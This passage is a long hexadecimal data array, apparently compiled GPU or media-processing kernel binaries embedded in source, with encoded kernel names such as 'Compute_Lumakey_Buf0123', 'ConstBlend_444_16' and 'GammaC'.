0x3fff001f, 0x000002a0, 0x3fff0020, 0x000002a0, 0x3fff0021, 0x000002a0, 0x3fff0022, 0x000002a0,
0x3fff0023, 0x000002a0, 0x3fff0024, 0x000002a0, 0x3fff0025, 0x000002a0, 0x3fff0026, 0x000002a0,
0x3fff0027, 0x000002a0, 0x3fff0028, 0x000002a0, 0x3fff0029, 0x000002a0, 0x3fff002a, 0x000002a0,
0x3fff002b, 0x000002a0, 0x3fff002c, 0x000002a0, 0x3fff002d, 0x000002a0, 0x3fff002e, 0x000002a0,
0x3fff002f, 0x000002a0, 0x3fff0030, 0x000002a0, 0x3fff0031, 0x000002a0, 0x3fff0032, 0x000002a0,
0x3fff0033, 0x000002a0, 0x3fff0034, 0x000002a0, 0x3fff0035, 0x000002a0, 0x3fff0036, 0x000002a0,
0x3fff0037, 0x000002a0, 0x3fff0038, 0x000002a0, 0x3fff0039, 0x000002a0, 0x3fff003a, 0x000002a0,
0x3fff003b, 0x000002a0, 0x3fff003c, 0x000002a0, 0x3fff003d, 0x000002a0, 0x3fff003e, 0x000002a0,
0x3fff003f, 0x000002a0, 0x3fff0040, 0x000002a0, 0x3fff0041, 0x000002a0, 0x3fff0042, 0x000002a0,
0x3fff0043, 0x000002a0, 0x3fff0044, 0x000002a0, 0x3fff0045, 0x000002a0, 0x3fff0046, 0x000002a0,
0x3fff0047, 0x000002a0, 0x3fff0048, 0x000002a0, 0x3fff0049, 0x000002a0, 0x3fff004a, 0x000002a0,
0x3fff004b, 0x000002a0, 0x3fff004c, 0x000002a0, 0x3fff004d, 0x000002a0, 0x3fff004e, 0x000002a0,
0x3fff004f, 0x000002a0, 0x3fff0050, 0x000002a0, 0x3fff0051, 0x000002a0, 0x3fff0052, 0x000002a0,
0x3fff0053, 0x000002a0, 0x3fff0054, 0x000002a0, 0x3fff0055, 0x000002a0, 0x3fff0056, 0x000002a0,
0x3fff0057, 0x000002a0, 0x3fff0058, 0x000002a0, 0x3fff0059, 0x000002a0, 0x3fff005a, 0x000002a0,
0x3fff005b, 0x000002a0, 0x3fff005c, 0x000002a0, 0x3fff005d, 0x000002a0, 0x3fff005e, 0x000002a0,
0x3fff005f, 0x000002a0, 0x3fff0060, 0x000002a0, 0x3fff0061, 0x000002a0, 0x3fff0062, 0x000002a0,
0x3fff0063, 0x000002a0, 0x3fff0064, 0x000002a0, 0x3fff0065, 0x000002a0, 0x3fff0066, 0x000002a0,
0x3fff0067, 0x000002a0, 0x3fff0068, 0x000002a0, 0x3fff0069, 0x000002e0, 0x3fff006c, 0x000002e0,
0x3fff0070, 0x000002f0, 0x3fff0071, 0x00000300, 0xbfff006a, 0x00000000, 0x00000000, 0x00000000,
0x00000014, 0x00000000, 0x00000001, 0x00000000, 0x00000014, 0x00000000, 0x00030002, 0x00000001,
0x0000002c, 0x00000000, 0x00040003, 0x00000000, 0x00000014, 0x00000018, 0x00000004, 0x00000000,
0x0000002c, 0x00000011, 0x00000005, 0x00000001, 0x00000040, 0x00000028, 0x00000006, 0x00000001,
0x00000068, 0x00000348, 0x00000007, 0x00000001, 0x000003b0, 0x00000002, 0x00000000, 0x00000000,
0x00000000, 0x49504d43, 0x000e0000, 0x00000008, 0x000002ac, 0x00000000, 0x00000000, 0x00000000,
0x00000000, 0x00000001, 0x00000000, 0x00000001, 0x6d6f4300, 0x65747570, 0x6d754c5f, 0x79656b61,
0x6675425f, 0x33323130, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x8000007d, 0x00000020,
0x8001007e, 0x00000030, 0x3fff0002, 0x00000030, 0xbfff006c, 0x00000040, 0x3fff000c, 0x00000040,
0xbfff006d, 0x00000050, 0x3fff000d, 0x00000050, 0xbfff006e, 0x00000060, 0x3fff0014, 0x00000060,
0xbfff006f, 0x00000070, 0x3fff0015, 0x00000070, 0xbfff0070, 0x000000f0, 0x3fff001c, 0x000000f0,
0xbfff0071, 0x00000140, 0x3fff001d, 0x00000140, 0xbfff0072, 0x00000150, 0x3fff0024, 0x00000150,
0xbfff0073, 0x00000160, 0x3fff0025, 0x00000160, 0xbfff0074, 0x00000170, 0x3fff0009, 0x00000230,
0x3fff002c, 0x00000230, 0xbfff0075, 0x00000240, 0x3fff002d, 0x00000240, 0xbfff0076, 0x00000250,
0x3fff0034, 0x00000250, 0xbfff0077, 0x00000260, 0x3fff0035, 0x00000260, 0xbfff0078, 0x00000330,
0x3fff003c, 0x00000330, 0xbfff0079, 0x00000340, 0x3fff003d, 0x00000340, 0xbfff007a, 0x00000350,
0x3fff0044, 0x00000350, 0xbfff007b, 0x00000360, 0x3fff0045, 0x00000360, 0xbfff007c, 0x00000010,
0x3fff007d, 0x00000020, 0x00010000, 0x00000040, 0x3fff000c, 0x00000050, 0x3fff000d, 0x00000060,
0x3fff0014, 0x00000070, 0x3fff0015, 0x00000090, 0x3fff0002, 0x000000f0, 0x3fff001c, 0x00000100,
0x3fff006d, 0x00000110, 0x3fff006e, 0x00000120, 0x3fff006f, 0x00000130, 0x3fff0070, 0x00000140,
0x3fff001d, 0x00000150, 0x3fff0024, 0x00000160, 0x3fff0025, 0x000001f0, 0x3fff0071, 0x00000200,
0x3fff0072, 0x00000210, 0x3fff0073, 0x00000220, 0x3fff0074, 0x00000230, 0x3fff002c, 0x00000240,
0x3fff002d, 0x00000250, 0x3fff0034, 0x00000260, 0x3fff0035, 0x000002f0, 0x3fff0075, 0x00000300,
0x3fff0076, 0x00000310, 0x3fff0077, 0x00000320, 0x3fff0078, 0x00000330, 0x3fff003c, 0x00000340,
0x3fff003d, 0x00000350, 0x3fff0044, 0x00000360, 0x3fff0045, 0x000003f0, 0x3fff0079, 0x00000400,
0x3fff007a, 0x00000410, 0x3fff007b, 0x00000420, 0x3fff006c, 0x00000420, 0x3fff007c, 0x00000460,
0xbfff0009, 0x00000470, 0x3fff007e, 0x00000000, 0x00000000, 0x00000000, 0x00000014, 0x00000000,
0x00000001, 0x00000000, 0x00000014, 0x00000000, 0x00030002, 0x00000001, 0x0000002c, 0x00000000,
0x00040003, 0x00000000, 0x00000014, 0x00000018, 0x00000004, 0x00000000, 0x0000002c, 0x00000019,
0x00000005, 0x00000001, 0x00000048, 0x00000130, 0x00000006, 0x00000001, 0x00000178, 0x00000130,
0x00000007, 0x00000001, 0x000002a8, 0x00000002, 0x00000000, 0x49504d43, 0x000e0000, 0x00000008,
0x000007b4, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000001, 0x00000000, 0x00020001,
0x6e6f4300, 0x6c427473, 0x5f646e65, 0x5f343434, 0x00003631, 0x00000000, 0x00000000, 0x00000000,
0x8000006c, 0x00000020, 0x8001006d, 0x00000030, 0x3fff006b, 0x00000030, 0xbfff006e, 0x00000040,
0xbfff006f, 0x00000050, 0xbfff0070, 0x00000060, 0xbfff0072, 0x00000090, 0xbfff0071, 0x000000a0,
0xbfff0073, 0x000000b0, 0x3fff000a, 0x000000b0, 0x3fff000b, 0x000000b0, 0x3fff000c, 0x000000b0,
0x3fff000d, 0x000000b0, 0x3fff000e, 0x000000b0, 0x3fff000f, 0x000000b0, 0x3fff0010, 0x000000b0,
0x3fff0011, 0x000000b0, 0x3fff0012, 0x000000b0, 0x3fff0013, 0x000000b0, 0x3fff0014, 0x000000b0,
0x3fff0015, 0x000000b0, 0x3fff0016, 0x000000b0, 0x3fff0017, 0x000000b0, 0x3fff0018, 0x000000b0,
0x3fff0019, 0x000000b0, 0x3fff001a, 0x000000b0, 0x3fff001b, 0x000000b0, 0x3fff001c, 0x000000b0,
0x3fff001d, 0x000000b0, 0x3fff001e, 0x000000b0, 0x3fff001f, 0x000000b0, 0x3fff0020, 0x000000b0,
0x3fff0021, 0x000000b0, 0x3fff0022, 0x000000b0, 0x3fff0023, 0x000000b0, 0x3fff0024, 0x000000b0,
0x3fff0025, 0x000000b0, 0x3fff0026, 0x000000b0, 0x3fff0027, 0x000000b0, 0x3fff0028, 0x000000b0,
0x3fff0029, 0x000000b0, 0x3fff002a, 0x000000b0, 0x3fff002b, 0x000000b0, 0x3fff002c, 0x000000b0,
0x3fff002d, 0x000000b0, 0x3fff002e, 0x000000b0, 0x3fff002f, 0x000000b0, 0x3fff0030, 0x000000b0,
0x3fff0031, 0x000000b0, 0x3fff0032, 0x000000b0, 0x3fff0033, 0x000000b0, 0x3fff0034, 0x000000b0,
0x3fff0035, 0x000000b0, 0x3fff0036, 0x000000b0, 0x3fff0037, 0x000000b0, 0x3fff0038, 0x000000b0,
0x3fff0039, 0x000000b0, 0x3fff003a, 0x000000b0, 0x3fff003b, 0x000000b0, 0x3fff003c, 0x000000b0,
0x3fff003d, 0x000000b0, 0x3fff003e, 0x000000b0, 0x3fff003f, 0x000000b0, 0x3fff0040, 0x000000b0,
0x3fff0041, 0x000000b0, 0x3fff0042, 0x000000b0, 0x3fff0043, 0x000000b0, 0x3fff0044, 0x000000b0,
0x3fff0045, 0x000000b0, 0x3fff0046, 0x000000b0, 0x3fff0047, 0x000000b0, 0x3fff0048, 0x000000b0,
0x3fff0049, 0x000000b0, 0x3fff004a, 0x000000b0, 0x3fff004b, 0x000000b0, 0x3fff004c, 0x000000b0,
0x3fff004d, 0x000000b0, 0x3fff004e, 0x000000b0, 0x3fff004f, 0x000000b0, 0x3fff0050, 0x000000b0,
0x3fff0051, 0x000000b0, 0x3fff0052, 0x000000b0, 0x3fff0053, 0x000000b0, 0x3fff0054, 0x000000b0,
0x3fff0055, 0x000000b0, 0x3fff0056, 0x000000b0, 0x3fff0057, 0x000000b0, 0x3fff0058, 0x000000b0,
0x3fff0059, 0x000000b0, 0x3fff005a, 0x000000b0, 0x3fff005b, 0x000000b0, 0x3fff005c, 0x000000b0,
0x3fff005d, 0x000000b0, 0x3fff005e, 0x000000b0, 0x3fff005f, 0x000000b0, 0x3fff0060, 0x000000b0,
0x3fff0061, 0x000000b0, 0x3fff0062, 0x000000b0, 0x3fff0063, 0x000000b0, 0x3fff0064, 0x000000b0,
0x3fff0065, 0x000000b0, 0x3fff0066, 0x000000b0, 0x3fff0067, 0x000000b0, 0x3fff0068, 0x000000b0,
0x3fff0069, 0x000000b0, 0xbfff0074, 0x000000b0, 0xbfff0075, 0x000000c0, 0xbfff0076, 0x000000c0,
0xbfff0077, 0x000000d0, 0xbfff0078, 0x00000110, 0x3fff006a, 0x00000130, 0xbfff0079, 0x00000140,
0xbfff007b, 0x00000150, 0xbfff007a, 0x00000160, 0xbfff007c, 0x00000190, 0xbfff007d, 0x00000190,
0xbfff007e, 0x00000900, 0x3fff007f, 0x00000020, 0x00010000, 0x00000080, 0x3fff0072, 0x000000d0,
0x3fff006b, 0x000001e0, 0x3fff007e, 0x00000760, 0x3fff006c, 0x00000760, 0x3fff006d, 0x00000780,
0x3fff006a, 0x000007d0, 0x3fff0070, 0x00000820, 0x3fff0076, 0x00000820, 0x3fff0077, 0x00000840,
0x3fff0074, 0x00000840, 0x3fff0075, 0x00000870, 0x3fff006e, 0x00000880, 0x3fff006f, 0x00000890,
0x3fff0078, 0x000008a0, 0x3fff0079, 0x000008b0, 0x3fff0071, 0x000008c0, 0x3fff0073, 0x000008d0,
0x3fff007c, 0x000008d0, 0x3fff007d, 0x000008f0, 0x3fff007a, 0x000008f0, 0x3fff007b, 0x000008f0,
0xbfff000a, 0x000008f0, 0xbfff000b, 0x000008f0, 0xbfff000c, 0x000008f0, 0xbfff000d, 0x000008f0,
0xbfff000e, 0x000008f0, 0xbfff000f, 0x000008f0, 0xbfff0010, 0x000008f0, 0xbfff0011, 0x000008f0,
0xbfff0012, 0x000008f0, 0xbfff0013, 0x000008f0, 0xbfff0014, 0x000008f0, 0xbfff0015, 0x000008f0,
0xbfff0016, 0x000008f0, 0xbfff0017, 0x000008f0, 0xbfff0018, 0x000008f0, 0xbfff0019, 0x000008f0,
0xbfff001a, 0x000008f0, 0xbfff001b, 0x000008f0, 0xbfff001c, 0x000008f0, 0xbfff001d, 0x000008f0,
0xbfff001e, 0x000008f0, 0xbfff001f, 0x000008f0, 0xbfff0020, 0x000008f0, 0xbfff0021, 0x000008f0,
0xbfff0022, 0x000008f0, 0xbfff0023, 0x000008f0, 0xbfff0024, 0x000008f0, 0xbfff0025, 0x000008f0,
0xbfff0026, 0x000008f0, 0xbfff0027, 0x000008f0, 0xbfff0028, 0x000008f0, 0xbfff0029, 0x000008f0,
0xbfff002a, 0x000008f0, 0xbfff002b, 0x000008f0, 0xbfff002c, 0x000008f0, 0xbfff002d, 0x000008f0,
0xbfff002e, 0x000008f0, 0xbfff002f, 0x000008f0, 0xbfff0030, 0x000008f0, 0xbfff0031, 0x000008f0,
0xbfff0032, 0x000008f0, 0xbfff0033, 0x000008f0, 0xbfff0034, 0x000008f0, 0xbfff0035, 0x000008f0,
0xbfff0036, 0x000008f0, 0xbfff0037, 0x000008f0, 0xbfff0038, 0x000008f0, 0xbfff0039, 0x000008f0,
0xbfff003a, 0x000008f0, 0xbfff003b, 0x000008f0, 0xbfff003c, 0x000008f0, 0xbfff003d, 0x000008f0,
0xbfff003e, 0x000008f0, 0xbfff003f, 0x000008f0, 0xbfff0040, 0x000008f0, 0xbfff0041, 0x000008f0,
0xbfff0042, 0x000008f0, 0xbfff0043, 0x000008f0, 0xbfff0044, 0x000008f0, 0xbfff0045, 0x000008f0,
0xbfff0046, 0x000008f0, 0xbfff0047, 0x000008f0, 0xbfff0048, 0x000008f0, 0xbfff0049, 0x000008f0,
0xbfff004a, 0x000008f0, 0xbfff004b, 0x000008f0, 0xbfff004c, 0x000008f0, 0xbfff004d, 0x000008f0,
0xbfff004e, 0x000008f0, 0xbfff004f, 0x000008f0, 0xbfff0050, 0x000008f0, 0xbfff0051, 0x000008f0,
0xbfff0052, 0x000008f0, 0xbfff0053, 0x000008f0, 0xbfff0054, 0x000008f0, 0xbfff0055, 0x000008f0,
0xbfff0056, 0x000008f0, 0xbfff0057, 0x000008f0, 0xbfff0058, 0x000008f0, 0xbfff0059, 0x000008f0,
0xbfff005a, 0x000008f0, 0xbfff005b, 0x000008f0, 0xbfff005c, 0x000008f0, 0xbfff005d, 0x000008f0,
0xbfff005e, 0x000008f0, 0xbfff005f, 0x000008f0, 0xbfff0060, 0x000008f0, 0xbfff0061, 0x000008f0,
0xbfff0062, 0x000008f0, 0xbfff0063, 0x000008f0, 0xbfff0064, 0x000008f0, 0xbfff0065, 0x000008f0,
0xbfff0066, 0x000008f0, 0xbfff0067, 0x000008f0, 0xbfff0068, 0x000008f0, 0xbfff0069, 0x00000900,
0x3fff007f, 0x00000000, 0x00000000, 0x00000000, 0x00000014, 0x00000000, 0x00000001, 0x00000000,
0x00000014, 0x00000000, 0x00030002, 0x00000001, 0x0000002c, 0x00000000, 0x00040003, 0x00000000,
0x00000014, 0x00000018, 0x00000004, 0x00000000, 0x0000002c, 0x00000013, 0x00000005, 0x00000001,
0x00000040, 0x000003b8, 0x00000006, 0x00000001, 0x000003f8, 0x000003b8, 0x00000007, 0x00000001,
0x000007b0, 0x00000002, 0x00000000, 0x00000000, 0x00000000, 0x49504d43, 0x000e0000, 0x00000008,
0x000007b8, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000001, 0x00000000, 0x00020001,
0x6e6f4300, 0x72537473, 0x656c4263, 0x345f646e, 0x315f3434, 0x00000036, 0x00000000, 0x00000000,
0x00000000, 0x8000006c, 0x00000020, 0x8001006d, 0x00000030, 0x3fff006b, 0x00000030, 0xbfff006f,
0x00000040, 0xbfff0072, 0x00000050, 0xbfff0070, 0x00000060, 0xbfff006e, 0x00000070, 0xbfff0071,
0x00000090, 0x3fff000a, 0x00000090, 0x3fff000b, 0x00000090, 0x3fff000c, 0x00000090, 0x3fff000d,
0x00000090, 0x3fff000e, 0x00000090, 0x3fff000f, 0x00000090, 0x3fff0010, 0x00000090, 0x3fff0011,
0x00000090, 0x3fff0012, 0x00000090, 0x3fff0013, 0x00000090, 0x3fff0014, 0x00000090, 0x3fff0015,
0x00000090, 0x3fff0016, 0x00000090, 0x3fff0017, 0x00000090, 0x3fff0018, 0x00000090, 0x3fff0019,
0x00000090, 0x3fff001a, 0x00000090, 0x3fff001b, 0x00000090, 0x3fff001c, 0x00000090, 0x3fff001d,
0x00000090, 0x3fff001e, 0x00000090, 0x3fff001f, 0x00000090, 0x3fff0020, 0x00000090, 0x3fff0021,
0x00000090, 0x3fff0022, 0x00000090, 0x3fff0023, 0x00000090, 0x3fff0024, 0x00000090, 0x3fff0025,
0x00000090, 0x3fff0026, 0x00000090, 0x3fff0027, 0x00000090, 0x3fff0028, 0x00000090, 0x3fff0029,
0x00000090, 0x3fff002a, 0x00000090, 0x3fff002b, 0x00000090, 0x3fff002c, 0x00000090, 0x3fff002d,
0x00000090, 0x3fff002e, 0x00000090, 0x3fff002f, 0x00000090, 0x3fff0030, 0x00000090, 0x3fff0031,
0x00000090, 0x3fff0032, 0x00000090, 0x3fff0033, 0x00000090, 0x3fff0034, 0x00000090, 0x3fff0035,
0x00000090, 0x3fff0036, 0x00000090, 0x3fff0037, 0x00000090, 0x3fff0038, 0x00000090, 0x3fff0039,
0x00000090, 0x3fff003a, 0x00000090, 0x3fff003b, 0x00000090, 0x3fff003c, 0x00000090, 0x3fff003d,
0x00000090, 0x3fff003e, 0x00000090, 0x3fff003f, 0x00000090, 0x3fff0040, 0x00000090, 0x3fff0041,
0x00000090, 0x3fff0042, 0x00000090, 0x3fff0043, 0x00000090, 0x3fff0044, 0x00000090, 0x3fff0045,
0x00000090, 0x3fff0046, 0x00000090, 0x3fff0047, 0x00000090, 0x3fff0048, 0x00000090, 0x3fff0049,
0x00000090, 0x3fff004a, 0x00000090, 0x3fff004b, 0x00000090, 0x3fff004c, 0x00000090, 0x3fff004d,
0x00000090, 0x3fff004e, 0x00000090, 0x3fff004f, 0x00000090, 0x3fff0050, 0x00000090, 0x3fff0051,
0x00000090, 0x3fff0052, 0x00000090, 0x3fff0053, 0x00000090, 0x3fff0054, 0x00000090, 0x3fff0055,
0x00000090, 0x3fff0056, 0x00000090, 0x3fff0057, 0x00000090, 0x3fff0058, 0x00000090, 0x3fff0059,
0x00000090, 0x3fff005a, 0x00000090, 0x3fff005b, 0x00000090, 0x3fff005c, 0x00000090, 0x3fff005d,
0x00000090, 0x3fff005e, 0x00000090, 0x3fff005f, 0x00000090, 0x3fff0060, 0x00000090, 0x3fff0061,
0x00000090, 0x3fff0062, 0x00000090, 0x3fff0063, 0x00000090, 0x3fff0064, 0x00000090, 0x3fff0065,
0x00000090, 0x3fff0066, 0x00000090, 0x3fff0067, 0x00000090, 0x3fff0068, 0x00000090, 0x3fff0069,
0x00000090, 0xbfff0073, 0x00000090, 0xbfff0074, 0x000000b0, 0xbfff0075, 0x000000c0, 0xbfff0076,
0x000000d0, 0xbfff007a, 0x000000d0, 0xbfff007b, 0x00000100, 0xbfff0077, 0x00000100, 0xbfff0078,
0x00000110, 0xbfff007c, 0x00000120, 0xbfff0079, 0x00000130, 0xbfff007d, 0x00000130, 0xbfff007e,
0x000001a0, 0x3fff006a, 0x00000b30, 0x3fff007f, 0x00000020, 0x00010000, 0x00000870, 0x3fff007e,
0x00000880, 0x3fff006b, 0x00000990, 0x3fff006c, 0x00000990, 0x3fff006d, 0x000009b0, 0x3fff006a,
0x000009c0, 0x3fff007d, 0x00000a00, 0x3fff0070, 0x00000a20, 0x3fff0071, 0x00000a50, 0x3fff0074,
0x00000a50, 0x3fff0075, 0x00000a70, 0x3fff0072, 0x00000a70, 0x3fff0073, 0x00000aa0, 0x3fff006e,
0x00000ab0, 0x3fff006f, 0x00000ac0, 0x3fff0076, 0x00000ad0, 0x3fff0077, 0x00000af0, 0x3fff0078,
0x00000b00, 0x3fff007b, 0x00000b00, 0x3fff007c, 0x00000b20, 0x3fff0079, 0x00000b20, 0x3fff007a,
0x00000b20, 0xbfff000a, 0x00000b20, 0xbfff000b, 0x00000b20, 0xbfff000c, 0x00000b20, 0xbfff000d,
0x00000b20, 0xbfff000e, 0x00000b20, 0xbfff000f, 0x00000b20, 0xbfff0010, 0x00000b20, 0xbfff0011,
0x00000b20, 0xbfff0012, 0x00000b20, 0xbfff0013, 0x00000b20, 0xbfff0014, 0x00000b20, 0xbfff0015,
0x00000b20, 0xbfff0016, 0x00000b20, 0xbfff0017, 0x00000b20, 0xbfff0018, 0x00000b20, 0xbfff0019,
0x00000b20, 0xbfff001a, 0x00000b20, 0xbfff001b, 0x00000b20, 0xbfff001c, 0x00000b20, 0xbfff001d,
0x00000b20, 0xbfff001e, 0x00000b20, 0xbfff001f, 0x00000b20, 0xbfff0020, 0x00000b20, 0xbfff0021,
0x00000b20, 0xbfff0022, 0x00000b20, 0xbfff0023, 0x00000b20, 0xbfff0024, 0x00000b20, 0xbfff0025,
0x00000b20, 0xbfff0026, 0x00000b20, 0xbfff0027, 0x00000b20, 0xbfff0028, 0x00000b20, 0xbfff0029,
0x00000b20, 0xbfff002a, 0x00000b20, 0xbfff002b, 0x00000b20, 0xbfff002c, 0x00000b20, 0xbfff002d,
0x00000b20, 0xbfff002e, 0x00000b20, 0xbfff002f, 0x00000b20, 0xbfff0030, 0x00000b20, 0xbfff0031,
0x00000b20, 0xbfff0032, 0x00000b20, 0xbfff0033, 0x00000b20, 0xbfff0034, 0x00000b20, 0xbfff0035,
0x00000b20, 0xbfff0036, 0x00000b20, 0xbfff0037, 0x00000b20, 0xbfff0038, 0x00000b20, 0xbfff0039,
0x00000b20, 0xbfff003a, 0x00000b20, 0xbfff003b, 0x00000b20, 0xbfff003c, 0x00000b20, 0xbfff003d,
0x00000b20, 0xbfff003e, 0x00000b20, 0xbfff003f, 0x00000b20, 0xbfff0040, 0x00000b20, 0xbfff0041,
0x00000b20, 0xbfff0042, 0x00000b20, 0xbfff0043, 0x00000b20, 0xbfff0044, 0x00000b20, 0xbfff0045,
0x00000b20, 0xbfff0046, 0x00000b20, 0xbfff0047, 0x00000b20, 0xbfff0048, 0x00000b20, 0xbfff0049,
0x00000b20, 0xbfff004a, 0x00000b20, 0xbfff004b, 0x00000b20, 0xbfff004c, 0x00000b20, 0xbfff004d,
0x00000b20, 0xbfff004e, 0x00000b20, 0xbfff004f, 0x00000b20, 0xbfff0050, 0x00000b20, 0xbfff0051,
0x00000b20, 0xbfff0052, 0x00000b20, 0xbfff0053, 0x00000b20, 0xbfff0054, 0x00000b20, 0xbfff0055,
0x00000b20, 0xbfff0056, 0x00000b20, 0xbfff0057, 0x00000b20, 0xbfff0058, 0x00000b20, 0xbfff0059,
0x00000b20, 0xbfff005a, 0x00000b20, 0xbfff005b, 0x00000b20, 0xbfff005c, 0x00000b20, 0xbfff005d,
0x00000b20, 0xbfff005e, 0x00000b20, 0xbfff005f, 0x00000b20, 0xbfff0060, 0x00000b20, 0xbfff0061,
0x00000b20, 0xbfff0062, 0x00000b20, 0xbfff0063, 0x00000b20, 0xbfff0064, 0x00000b20, 0xbfff0065,
0x00000b20, 0xbfff0066, 0x00000b20, 0xbfff0067, 0x00000b20, 0xbfff0068, 0x00000b20, 0xbfff0069,
0x00000b30, 0x3fff007f, 0x00000000, 0x00000000, 0x00000000, 0x00000014, 0x00000000, 0x00000001,
0x00000000, 0x00000014, 0x00000000, 0x00030002, 0x00000001, 0x0000002c, 0x00000000, 0x00040003,
0x00000000, 0x00000014, 0x00000018, 0x00000004, 0x00000000, 0x0000002c, 0x00000016, 0x00000005,
0x00000001, 0x00000044, 0x000003b8, 0x00000006, 0x00000001, 0x000003fc, 0x000003b8, 0x00000007,
0x00000001, 0x000007b4, 0x00000002, 0x00000000, 0x00000000, 0x49504d43, 0x000e0000, 0x00000008,
0x00000794, 0x00000000, 0x00000000, 0x00000000, 0x00000000, 0x00000001, 0x00000000, 0x00020001,
0x6d614700, 0x0043616d, 0x00000010, 0x00000000, 0x00000010, 0x8000006c, 0x00000030, 0x8001006d,
0x00000040, 0x3fff006b, 0x00000040, 0xbfff006e, 0x00000050, 0x3fff004a, 0x00000050, 0x3fff004b,
0x00000050, 0xbfff0077, 0x00000050, 0xbfff0078, 0x00000060, 0xbfff006f, 0x00000070, 0x3fff004c,
0x00000070, 0x3fff004d, 0x00000070, 0xbfff0079, 0x00000070, 0xbfff007a, 0x00000090, 0x3fff004e,
0x00000090, 0x3fff004f, 0x00000090, 0xbfff007b, 0x00000090, 0xbfff007c, 0x000000a0, 0x3fff0050,
0x000000a0, 0x3fff0051, 0x000000a0, 0xbfff007d, 0x000000a0, 0xbfff007e, 0x000000b0, 0x3fff000a,
0x000000b0, 0x3fff000b, 0x000000b0, 0x3fff000c, 0x000000b0, 0x3fff000d, 0x000000b0, 0x3fff000e,
0x000000b0, 0x3fff000f, 0x000000b0, 0x3fff0010, 0x000000b0, 0x3fff0011, 0x000000b0, 0x3fff0012,
0x000000b0, 0x3fff0013, 0x000000b0, 0x3fff0014, 0x000000b0, 0x3fff0015, 0x000000b0, 0x3fff0016,
0x000000b0, 0x3fff0017, 0x000000b0, 0x3fff0018, 0x000000b0, 0x3fff0019, 0x000000b0, 0x3fff001a,
0x000000b0, 0x3fff001b, 0x000000b0, 0x3fff001c, 0x000000b0, 0x3fff001d, 0x000000b0, 0x3fff001e,
0x000000b0, 0x3fff001f, 0x000000b0, 0x3fff0020, 0x000000b0, 0x3fff0021, 0x000000b0, 0x3fff0022,
0x000000b0, 0x3fff0023, 0x000000b0, 0x3fff0024, 0x000000b0, 0x3fff0025, 0x000000b0, 0x3fff0026,
0x000000b0, 0x3fff0027, 0x000000b0, 0x3fff0028, 0x000000b0, 0x3fff0029, 0x000000b0, 0x3fff002a,
0x000000b0, 0x3fff002b, 0x000000b0, 0x3fff002c, 0x000000b0, 0x3fff002d, 0x000000b0, 0x3fff002e,
0x000000b0, 0x3fff002f, 0x000000b0, 0x3fff0030, 0x000000b0, 0x3fff0031, 0x000000b0, 0x3fff0032,
0x000000b0, 0x3fff0033, 0x000000b0, 0x3fff0034, 0x000000b0, 0x3fff0035, 0x000000b0, 0x3fff0036,
0x000000b0, 0x3fff0037, 0x000000b0, 0x3fff0038, 0x000000b0, 0x3fff0039, 0x000000b0, 0x3fff003a,
0x000000b0, 0x3fff003b, 0x000000b0, 0x3fff003c, 0x000000b0, 0x3fff003d, 0x000000b0, 0x3fff003e,
0x000000b0, 0x3fff003f, 0x000000b0, 0x3fff0040, 0x000000b0, 0x3fff0041, 0x000000b0, 0x3fff0042,
0x000000b0, 0x3fff0043, 0x000000b0, 0x3fff0044, 0x000000b0, 0x3fff0045, 0x000000b0, 0x3fff0046,
0x000000b0, 0x3fff0047, 0x000000b0, 0x3fff0048, 0x000000b0, 0x3fff0049, 0x000000b0, 0x3fff0052,
0x000000b0, 0x3fff0053, 0x000000b0, 0x3fff0054, 0x000000b0, 0x3fff0055, 0x000000b0, 0x3fff0056,
0x000000b0, 0x3fff0057, 0x000000b0, 0x3fff0058, 0x000000b0, 0x3fff0059, 0x000000b0, 0x3fff005a,
0x000000b0, 0x3fff005b, 0x000000b0, 0x3fff005c, 0x000000b0, 0x3fff005d, 0x000000b0, 0x3fff005e,
0x000000b0, 0x3fff005f, 0x000000b0, 0x3fff0060, 0x000000b0, 0x3fff0061, 0x000000b0, 0x3fff0062,
0x000000b0, 0x3fff0063, 0x000000b0, 0x3fff0064, 0x000000b0, 0x3fff0065, 0x000000b0, 0x3fff0066,
0x000000b0, 0x3fff0067, 0x000000b0, 0x3fff0068, 0x000000b0, 0x3fff0069, 0x000000b0, 0xbfff0070,
0x000000c0, 0xbfff0071, 0x000000d0, 0xbfff0072, 0x000000f0, 0xbfff0073, 0x00000120, 0xbfff0074,
0x00000140, 0xbfff0075, 0x00000160, 0xbfff0076, 0x00000780, 0x3fff007f, 0x00000030, 0x00010000,
0x00000040, 0x3fff006b, 0x00000600, 0x3fff0075, 0x00000610, 0x3fff0074, 0x00000630, 0x3fff0076,
0x00000680, 0x3fff006c, 0x000006b0, 0x3fff006f, 0x000006c0, 0x3fff006e, 0x000006e0, 0x3fff0070,
0x000006f0, 0x3fff006d, 0x00000720, 0x3fff0072, 0x00000730, 0x3fff0071, 0x00000740, 0x3fff0077,
0x00000740, 0x3fff0078, 0x00000740, 0x3fff0079, 0x00000740, 0x3fff007a, 0x00000740, 0x3fff007b,
0x00000740, 0x3fff007c, 0x00000740, 0x3fff007d, 0x00000740, 0x3fff007e, 0x00000750, 0x3fff0073,
0x00000770, 0xbfff000a, 0x00000770, 0xbfff000b, 0x00000770, 0xbfff000c, 0x00000770, 0xbfff000d,
0x00000770, 0xbfff000e, 0x00000770, 0xbfff000f, 0x00000770, 0xbfff0010, 0x00000770, 0xbfff0011,
0x00000770, 0xbfff0012, 0x00000770, 0xbfff0013, 0x00000770, 0xbfff0014, 0x00000770, 0xbfff0015,
0x00000770, 0xbfff0016, 0x00000770, 0xbfff0017, 0x00000770, 0xbfff0018, 0x00000770, 0xbfff0019,
0x00000770, 0xbfff001a, 0x00000770, 0xbfff001b, 0x00000770, 0xbfff001c, 0x00000770, 0xbfff001d,
0x00000770, 0xbfff001e, 0x00000770, 0xbfff001f, 0x00000770, 0xbfff0020, 0x00000770, 0xbfff0021,
0x00000770, 0xbfff0022, 0x00000770, 0xbfff0023, 0x00000770, 0xbfff0024, 0x00000770, 0xbfff0025,
0x00000770, 0xbfff0026, 0x00000770, 0xbfff0027, 0x00000770, 0xbfff0028, 0x00000770, 0xbfff0029,
0x00000770, 0xbfff002a, 0x00000770, 0xbfff002b, 0x00000770, 0xbfff002c, 0x00000770, 0xbfff002d,
0x00000770, 0xbfff002e, 0x00000770, 0xbfff002f, 0x00000770, 0xbfff0030, 0x00000770, 0xbfff0031,
0x00000770, 0xbfff0032, 0x00000770, 0xbfff0033, 0x00000770, 0xbfff0034, 0x00000770, 0xbfff0035,
